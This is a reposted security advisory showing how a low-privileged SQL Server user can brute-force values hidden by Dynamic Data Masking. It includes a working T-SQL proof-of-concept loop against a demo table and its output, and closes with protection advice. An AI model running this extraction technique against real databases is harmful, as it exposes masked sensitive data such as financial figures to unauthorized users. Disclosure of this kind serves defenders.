Share
## https://sploitus.com/exploit?id=PACKETSTORM:181575
Title: SQL Server Masked Data Exposure Through Brute Force Attack  
Product: Database  
Manufacturer: Microsoft  
Affected Version(s): SQL Server 2014, 2016,2017,2019,2022  
Tested Version(s): SQL Server 2014, 2016,2017,2019,2022  
Risk Level: Low  
Security Feature: Dynamic Data Masking  
Author of Advisory: Emad Al-Mousa  
  
  
*****************************************  
Vulnerability Details And Back Ground:  
  
Microsoft SQL Server database system has a security feature called "dynamic data masking" , this feature is designed to redact/mask column level values (columns containing sensitive data ….for example credit card number…etc).  
  
The feature is good but has many security weaknesses that organizations/companies should be aware of. Among them is brute force technique against the “where” conditional clause to retrieve actual data values (numeric values).  
  
  
  
*****************************************  
Proof of Concept (PoC):  
  
I will create database called demodb and create table called dbo.COMPANY and insert dummy data in it:  
  
create database demodb;  
  
USE [demodb]  
  
GO  
  
SET ANSI_NULLS ON  
  
GO  
  
SET QUOTED_IDENTIFIER ON  
  
GO  
  
CREATE TABLE [dbo].[COMPANY](  
  
[COMPANY_NAME] [nvarchar](max) NULL,  
  
[SALES] [int] NULL  
  
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]  
  
GO  
  
USE [demodb]  
  
GO  
  
INSERT INTO [dbo].[COMPANY]  
  
([COMPANY_NAME]  
  
,[SALES])  
  
VALUES  
  
('COMPANY_C','93')  
  
GO  
  
USE [demodb]  
  
GO  
  
INSERT INTO [dbo].[COMPANY]  
  
([COMPANY_NAME]  
  
,[SALES])  
  
VALUES  
  
('COMPANY_A','11')  
  
GO  
  
  
USE [demodb]  
  
GO  
  
INSERT INTO [dbo].[COMPANY]  
  
([COMPANY_NAME]  
  
,[SALES])  
  
VALUES  
  
('COMPANY_B','78')  
  
GO  
  
------ I will enable dynamic data masking function against SALES column:  
  
ALTER TABLE dbo.COMPANY  
  
ALTER COLUMN SALES INT MASKED WITH (FUNCTION = 'default()');  
  
------ Then, will create a user called reg_user that can only query the table, so the user will only see SALES column with complete masked data [ZERO values]:  
  
USE [demodb]  
  
GO  
  
CREATE USER reg_user WITHOUT LOGIN;  
  
GRANT SELECT ON dbo.COMPANY to reg_user;  
  
EXECUTE AS USER = 'reg_user';  
  
SELECT * FROM dbo.COMPANY;  
  
REVERT;  
  
  
  
------ However, using the same non-privileged database account reg_user …I will be able to extract Actual Values :  
  
  
EXECUTE AS USER = 'reg_user';  
  
DECLARE @sales_txt nvarchar(max);  
  
DECLARE @LCounter INT= 1;  
  
WHILE (@LCounter < 99)  
  
BEGIN  
  
SET @sales_txt=(SELECT COMPANY_NAME+' sales is ' +CAST (@LCounter as nvarchar)  
  
FROM dbo.COMPANY  
  
WHERE SALES=@LCounter)  
  
print @sales_txt  
  
SET @LCounter = @LCounter + 1  
  
END  
  
REVERT;  
  
  
Output:  
  
COMPANY_A sales is 11  
  
COMPANY_B sales is 78  
  
COMPANY_C sales is 93  
  
  
  
------ Actual values were successfully extracted from the masked column !  
  
  
*****************************************  
  
Protection Mechanisms:  
  
1. Ensure network firewall rules are in-place to ensure database accounts can be connected to the destination database server host from specific list of source hosts. This will add good  
security protection layer especially if database account credentials were exposed.  
  
2. Implement Security Auditing against identified sensitive tables.  
  
3. Implement other security features along dynamic data masking such as encryption. of course Always Encrypted feature is the best in terms of data protection.  
  
  
*****************************************  
References:  
https://learn.microsoft.com/en-us/sql/relational-databases/security/dynamic-data-masking?view=sql-server-ver16  
https://databasesecurityninja.wordpress.com/2023/08/08/hacking-sql-server-dynamic-data-masking-feature-with-brute-force-technique/  
https://www.youtube.com/watch?v=NiAg0sGsGtw